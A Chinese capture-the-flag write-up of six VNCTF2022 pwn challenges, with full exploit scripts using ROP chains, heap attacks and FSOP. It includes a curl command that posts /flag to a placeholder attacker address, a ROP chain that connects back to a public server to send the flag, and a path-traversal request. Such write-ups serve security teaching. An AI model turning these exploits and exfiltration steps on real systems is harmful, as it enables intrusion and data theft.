VNCTF2022-pwn-wp
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VNCTF-2022-pwn-wp
V&NCTF2022比赛中pwn的题wp，更新完毕。
- 上午在
HideOnHeap中浪费了太多的时间，尝试了好几个思路都失败了，以后还是不能太头铁（下次还敢 - 平时得多积累一些有用的函数或脚本，比如
_IO_str_finish拿shell的IO_FILE的构造的函数
clear_got
checksec
没有给libc，后来测出来远程使用的版本是libc6_2.23-0ubuntu10_amd64。
漏洞点
main函数就一个简单直接的栈溢出，但是got表被清空，没完全清空，还剩下__libc_start_main。后面的stdout和stdin也都在数据段上。
利用思路
清空了got表，考虑使用ret2syscall，发现程序中有syscall; ret。这里主要是利用了一个gadget：
0x000000000040075c: mov eax, 0; leave; ret;
结合end2函数，正好可以泄露出libc地址后，执行构造syscall调用read函数，再重新给got表填上。最终思路为：
-
栈溢出并利用
end2泄露出__libc_start_main地址和_IO_2_1_stdout_地址 -
使用libc-search1或者libc-search2查询出远程的
libc版本 -
重新给
puts@got填为system -
调用
puts@plt，实际执行system("/bin/sh")获取shell
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
# remote libc: libc6_2.23-0ubuntu10_amd64
"""
0x000000000040077e: syscall; ret;
0x00000000004007f3: pop rdi; ret;
0x00000000004007f1: pop rsi; pop r15; ret;
0x0000000000400539: ret;
0x000000000040075c: mov eax, 0; leave; ret;
"""
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
sysret = 0x000000000040077e
payload = flat({
0x60:[
0x000000000040075c,
pop_rdi,
1,
pop_rsi_r15,
0x601040,
0,
0x400773,
pop_rdi,
0,
pop_rsi_r15,
0x601008,
0,
sysret,
pop_rdi,
0x601008,
elf.plt.puts
]
}, length=0x100, filler="\x00")
io.sendafter("Welcome to VNCTF! This is a easy competition.///\n", payload)
msg = io.recvn(0x38)
libc_start_main = u64(msg[:8])
stdout = u64(msg[0x20:0x28])
log_address("libc_start_main", libc_start_main)
log_address("stdout", stdout)
libc_base = libc_start_main - 0x020740 # __libc_start_main offset
log_libc_base_addr(libc_base)
log_address("stdout offset", stdout - libc_base) # validate libc
io.send(flat({
0: "/bin/sh\x00",
8: [libc_base + 0x045390]*6 # system
}))
io.interactive()
远程打：
easyROPtocol
这题其实本地很快出来了，但是远程打10次成功1次，搞不好中间哪一次就挂了，不知道是不是网的问题。每次send 0x1000个字节过去，要睡眠好长时间才能得到远程的回显，而且中间极容易挂，其实可以把报文长度调小一点，只要能打栈溢出就行。赛后尝试每次发送0xe00大小的字节过去，但还是挂(真是要命
所以这题啊，多试试，试试就逝世。
checksec
没有开PIE和栈保护。远程的libc版本为：libc6_2.31-0ubuntu9.2_amd64。
开启了沙箱：
漏洞点
在submit函数中，存在栈溢出：
利用思路
漏洞点很简单，关键是需要构造好报文，然后可以触发submit中的栈溢出漏洞。
分析出报文的组成为：
struct message {
uint32_t heap; // 固定值 0x28b7766e
uint32_t size; // submit函数中的memcpy会校验，依次为1 0x1001 0x2001 0x3001
uint32_t _1; // 不能为0
uint16_t type; // 要么为5要么为6
uint16_t _2; // 不能为0
uint16_t check_sum; // 校验和
uint16_t _3; // 必须为0
uint16_t flag1; // 可控制submit函数的分支
uint16_t flag2; // 当type为6时，必须为0xffff
char data[]; // 数据
};
计算校验和就是把整个报文加上一个fakeipheadfa，每两个字节取整数，然后异或，最后得到的值填充到check_sum。
因此，利用思路总结如下：
- 构造好
4个报文 - 利用栈溢出，使用
write泄露出libc地址（submit函数溢出后rdx为6，正好可以泄露地址） - 再执行一次
main函数 - 使用
libc中的gadgets，用orw拿flag
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def calc_sum(payload):
res = 0
payload = b"fakeipheadfa" + payload
assert len(payload) % 2 == 0
for i in range(len(payload) // 2):
tmp = payload[2*i: 2*i+2]
tmp = int.from_bytes(tmp, "little")
res ^= tmp
return res
def get_message(size, data=b""):
payload = b""
payload += p32(0x28b7766e) # head
payload += p32(size)
payload += p32(1)
payload += p16(6)
payload += p16(1) # 7
# check sum后续补上
payload += p16(0)
payload += p16(1) # 10
payload += p16(0xffff)
payload += data
last = payload[:0x10]+p16(calc_sum(payload))+payload[0x10:]
return last
def create(size, data=b""):
io.sendlineafter("4. Quit.\n", "1")
sleep(1)
data = get_message(size, data)
print(f"send message, message length: {len(data)}")
io.send(data)
sleep(5)
def delete(idx):
io.sendlineafter("4. Quit.\n", "2")
sleep(1)
io.sendlineafter("Which?", str(idx))
def submit():
io.sendlineafter("4. Quit.\n", "3")
sleep(3)
context.update(timeout=10)
payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)
pop_rsi_r15= 0x0000000000401bb1
pay_attack = flat(
[
pop_rsi_r15,
elf.got.atoi,
0,
elf.plt.write,
0x401a5e
]
)
create(0x3001, flat({112:pay_attack}, length=0x400))
submit()
libc_base = recv_current_libc_addr(offset=libc.sym.atoi)
log_libc_base_addr(libc_base)
libc.address = libc_base
delete(0)
delete(1)
delete(2)
delete(3)
payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)
pop_rsi_r15= 0x0000000000401bb1
rop = ROP(libc)
rop.mprotect(0x404000, 0x1000, 7)
rop.read(0, 0x404600, 0x200)
rop.call(0x404600)
pay_attack = rop.chain()
create(0x3001, flat({114-8:pay_attack}, length=0x400))
submit()
io.send(asm(shellcraft.cat("/flag")))
io.interactive()
远程打：
FShuiMaster
比较常规的题，有一说一，这一题做得最快。
checksec
保护全开，远程的libc版本为：libc6_2.27-3ubuntu1_amd64。
漏洞点
在Edit函数，存在off by null：
利用思路
分析题目后得知，只能分配largebin chunk，可输入的范围大概处于0x430 ~ 0x700；增删改查都有。使用largebin attack结合一个off by null，然后打_IO_list_all即可完成利用。1
思路总结如下：
- 利用
malloc残存的地址，泄露出libc地址和heap地址。泄露堆地址可以用largebin chunk上残存的地址。 largebin attack，修改_IO_list_all为堆地址exit(0) --> _IO_flush_all_lockp ---> IO_OVERFLOW调用链完成利用。libc版本不高，这里我使用的是_IO_str_finish。
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def increase(size, data="deadbeef"):
io.sendlineafter("Five: Finished!\n\n", "1")
io.sendlineafter("Number of words?\n", str(size))
io.sendafter("please input U character\n", data)
def edit(idx, data):
io.sendlineafter("Five: Finished!\n\n", "2")
io.sendlineafter("please input the page U want 2 change\n", str(idx))
io.sendafter("Now Change U this page :", data)
def dele(idx):
io.sendlineafter("Five: Finished!\n\n", "3")
io.sendlineafter("please Input the page U want 2 tear off\n", str(idx))
def scan(idx):
io.sendlineafter("Five: Finished!\n\n", "4")
io.sendlineafter("please Input The page U want 2 scan\n", str(idx))
def fini():
io.sendlineafter("Five: Finished!\n\n", "5")
io.sendlineafter("Please Write U Name on the Book\n\n", "roderick")
increase(0x440) # 0
increase(0x448) # 1
increase(0x4f0) # 2
increase(0x440) # 3
dele(0)
edit(1, b"a"*0x440+p64(0x8a0))
dele(2)
increase(0x440) # 4
scan(1)
libc_base = recv_current_libc_addr(offset=0x3ebca0)
log_libc_base_addr(libc_base)
libc.address = libc_base
increase(0x448) # 5 1
increase(0x4f0) # 6
increase(0x440) # 7
increase(0x448, flat({0x440:"\x01"})) # 8
increase(0x450) # 9
increase(0x440) # 10
dele(7)
dele(9)
increase(0x500) # 11
increase(0x440, "a"*8) # 12
scan(12)
m = io.recvline()
heapaddr = u64_ex(m[8:-1])
log_address("heap address", heapaddr)
dele(1)
f = IO_FILE_plus_struct()
pay = f.getshell_by_str_jumps_finish_when_exit(libc_base + 0x3e8360, libc.sym.system, libc.search(b"/bin/sh").__next__())
increase(0x450, flat({0x58:heapaddr+0x110,
0xb0:0xffffffffffffffff,
0x100: pay
}) + b"\n") # 13
dele(13)
edit(5, p64(0x3ec0a0 + libc_base) + p64(libc.sym['_IO_list_all']-0x10)[:7]+b"\n")
increase(0x500)
fini()
io.sendline("cat flag")
io.interactive()
远程打：
classic_httpd
后悔了没有先看这个，这题似乎出得有点bug，对文件路径的校验存在问题，可以直接目录穿越拿到flag。
如题，想起最开始学httpd的时候看到的一个项目，虽然年代久远，但是很classic。
checksec
泄露地址后发现，远程的libc版本为：libc6_2.31-0ubuntu9.2_amd64。
漏洞点
- 对
HTTP报文请求行处理时候的bug，可以直接读到flag
- 在
sub_1EB2函数中，两处可以泄露地址：
- 在
sub_1EB2函数中还有1处可以任意地址写任意值：
利用思路
对于漏洞1，直接发送：
"GET /../flag\r\n\r\n"
对于其他漏洞的思路：
首先分析出对应的结构体为：
struct Msg{
int count;
struct {
struct {
uint32_t type;
uint64_t addr1;
uint64_t addr2;
uint64_t write_content;
} unit[0];
}data;
};
处理流程梳理：
type:
0xf1:
*(addr1 + addr2) = write_content
0x88:(count <= 1)
printf("%p", *(addr1 + addr2))
0x66: count == 0
addr1 <= 4:
printf("%p -> %s", addr1, addr2)
0x12:
pass
0x22: addr1 == "ping" strlen(&addr2) <= 0xf
show msg
然后，总结思路如下：
- 泄露程序数据段地址，得到程序加载的基地址
- 泄露
libc地址 - 修改
strcmp为system地址 - 构造报文，使远程执行命令
system("curl -X POST -F \"flag=@/flag\" ip:port")，这里的ip:port，可以是公网服务器的地址和监听端口，或者在buuoj上用小号去linux basic开个机器（这里没法用bash反弹shell，buu之前修改规则。但是检测到有curl，因此可利用该命令输出flag）
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
ip = 'node4.buuoj.cn'
port = 27082
io: tube = remote(ip, port)
context.update(arch="amd64", os="linux", endian="little", log_level="debug")
table = [
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0xFF, 0xFF, 0xFF, 0x3F,
0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E,
0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28,
0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
]
def b64(payload: bytes) -> str:
p = len(payload) % 3
if p != 0:
payload += (3-p) * b"\x00"
res = ""
for i in range(0, len(payload), 3):
x = payload[i]
y = payload[i+1]
z = payload[i+2]
a = x >> 2
b = ((x & 3) << 4) | (y >> 4)
c = ((y & 0xf) <<2) | (z >> 6)
d = z & 0x3f
for t in (a, b, c, d):
idx = table.index(t)
res += chr(idx)
return res
def get_msg(data: bytes):
return f"GET /submit.cgi?{b64(data)} HTTP/1.0\r\n\r\n"
# get addr
data = p32(1) + p32(0x66) + p64(4) + p64(0) + p64(0)
io.send(get_msg(data))
io.recvuntil("Let us look. Oh! That is ")
m = io.recvline()
# log_ex(f"{m}")
codebase = int16_ex(m[:14]) - 0x4070
log_code_base_addr(codebase)
# 0x4070
io.close()
# connect again
io: tube = remote(ip, port)
#
data = p32(1) + p32(0x88) + p64(codebase) + p64(0x60c0) + p64(0)
io.send(get_msg(data))
io.recvuntil("OK! I give you some message!\n")
m = io.recvline()
libc_base = int16_ex(m[-15:-1]) - 0x1232c0
log_libc_base_addr(libc_base)
# log_address("printf ", libc_base + 0x64f70)
systemaddr = libc_base + 0x055410
io.close()
# connect again; exec cmd
io: tube = remote(ip, port)
#
data = p32(2) + p32(0xf1) + p64(codebase) + p64(0x6048) + p64(systemaddr)
data += p32(0x22) + b"ping".ljust(8, b"\x00") + b"curl -X POST -F \"flag=@/flag\" xxx.xxx.xxx.xxx:xxxx" # 这里需要替换为自己的ip和端口
io.send(get_msg(data))
io.recvall(10)
io.close()
远程打，利用漏洞1：
利用其他漏洞，首先在公网服务器上监听一个端口：
然后攻击：
得到flag：
BingDwenDwen
这题看都没看，没想到也是简单题
checksec
漏洞点
拍脸上的栈溢出：
利用思路
题目贴心的给出了需要的gadgets，那么直接创建socket，反向连接公网服务器即可。做这题的时候我在本地重新编译了一份。
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
context.update(arch="amd64", endian="little")
if gift.remote:
pop_rdi = 0x0000000000401356
pop_rsi = 0x0000000000401358
pop_rax = 0x000000000040135a
pop_rcx = 0x000000000040135d
pop_rdx = 0x0000000000401354
sys_ret = 0x0000000000401351
bss_addr = 0x403700
push_rax_pop_rcx = 0x000000000040135c
mov_rdi_rcx = 0x000000000040135f
else:
pop_rdi = 0x000000000040082f
pop_rsi = 0x0000000000400831
pop_rax = 0x0000000000400833
pop_rdx = 0x000000000040082d
pop_rcx = 0x0000000000400836
sys_ret = 0x000000000040082a
bss_addr = 0x6015A0
push_rax_pop_rcx = 0x0000000000400835
mov_rdi_rcx = 0x0000000000400839
"""
s = socket(2, 1, 6)
connect(s, &addr, 0x10)
open(/flag)
read(/flag)
write(socket)
"""
payload = flat({
0x1d0: [
# socket
p16(0x2), # AF_INET
p16(10001,endian="big"), # PORT
p32(0x7f000001, endian="big"), # ip 127.0.0.1，修改为公网IP
p64(0), # padding
"/flag".ljust(8, "\x00")
],
0x10: [
pop_rdi, 2,
pop_rsi, 1,
pop_rdx, 6,
pop_rax, SyscallNumber.amd64.SOCKET,
sys_ret, # socket(2, 1, 6)
push_rax_pop_rcx,
mov_rdi_rcx,
pop_rsi, bss_addr+0x1d0,
pop_rdx, 0x10,
pop_rax, SyscallNumber.amd64.CONNECT,
sys_ret, # connect(s, &addr, 0x10)
pop_rdi,
bss_addr+0x1e0,
pop_rsi, 0,
pop_rax, SyscallNumber.amd64.OPEN, # open
sys_ret,
push_rax_pop_rcx,
mov_rdi_rcx,
pop_rsi,
bss_addr+0x200,
pop_rdx,
0x30, # read
pop_rax, SyscallNumber.amd64.READ,
sys_ret,
pop_rdi, 0,
pop_rsi, bss_addr+0x200,
pop_rdx, 0x30,
pop_rax, SyscallNumber.amd64.WRITE, # write
sys_ret
]
})
io.sendlineafter("Hello,Do You Like Bing Dwen Dwen?\n", payload)
io.interactive()
远程打：
HideOnHeap
这题一开始思路错了，都没往malloc_assert上去想......想着有啥侧信道的技巧可以爆破出来，后来尝试了几个，均因为版本太高，没法利用。赛后看了wp，自己复现一遍。
checksec
远程的libc版本为：libc6_2.31-0ubuntu9.2_amd64。
漏洞点
在delete分支有个double free
利用思路
程序最开始，将flag读到了堆上，因此，要想办法泄露堆上的信息。那么在assert中，会调用__fxprintf(stderr, ...)，这个时候只要劫持了stderr，则可进行FSOP。题目没有IO，没办法泄露地址，基本上把拿shell的路堵死了。此处借鉴house of corrosion的思路，和house of husk很像，都是打global_max_fast，然后用fastbin chunk进行操作读写。libc-2.31对one_gdaget的执行条件更为严格。所以，最终还是走泄露这条路。
综上，利用思路为：
- 利用
house of botcake构造overlapped chunk，利用tcache bin poisoning，爆破1/16，修改global_max_fast - 同上，分配到
stderr结构体处，为修改flags等做准备 - 利用大的
fastbin chunk，修改stderr的_IO_write_base/ptr/end，保证_IO_write_base距离flag的堆地址很近 - 触发一个
assert，我选择的是largebin chunk入链时的assert(chunk_is_main_arena(p))，此时会打印出flag
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def add(size):
io.sendlineafter("Choice:", "1")
io.sendlineafter("Size:", str(size))
def edit(idx, data):
io.sendlineafter("Choice:", "2")
io.sendlineafter("Index:", str(idx))
io.sendafter("Content:", data)
def dele(idx):
io.sendlineafter("Choice:", "3")
io.sendlineafter("Index:", str(idx))
for i in range(9):
add(0x80)
for i in range(2, 9):
dele(i)
dele(0)
dele(1)
add(0x80) # 0
dele(1)
add(0x40) # 1
add(0x30) # 2
add(0x40) # 3
add(0x30) # 4
if gift.debug:
payload1 = get_current_libcbase_addr() + 0x1eeb80 # global_max_fast
payload2 = payload1 - 0x1eeb80 + 0x1ec5c0
else:
payload1 = 0x7b80
payload2 = 0x55c0
edit(3, p16_ex(payload1))
add(0x80) # 5 3
add(0x80) # 6
add(0x40) # 7
add(0x600) # 8
add(0x10) # 9
add(0x600) # 10
add(0x10) # 11
dele(8)
add(0x14c0) # 8
add(0x14d0) # 12
dele(10)
edit(8, flat({0x380:[0, 0x21, 0, 0, 0, 0x21]}))
dele(7)
dele(1)
dele(3)
edit(5, p8(0x90))
edit(2, p16_ex(payload2))
add(0x40) # 1
add(0x40) # 3
add(0x40) # 7
edit(3, flat({0x38:0x14c1}))
edit(6, p32(0x61616161))
dele(1)
dele(8)
dele(12)
add(0x14b0)
edit(1, flat({0x4c0:[0, 0x615]}))
dele(1)
edit(7, flat(0xfbad1800, "\x00" * 0x19))
edit(6, p32(0x80))
add(0x10)
m = io.recv()
if b"flag" in m:
log_ex(f"find flag: {m}")
else:
raise RuntimeError()
io.interactive()
远程打：
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
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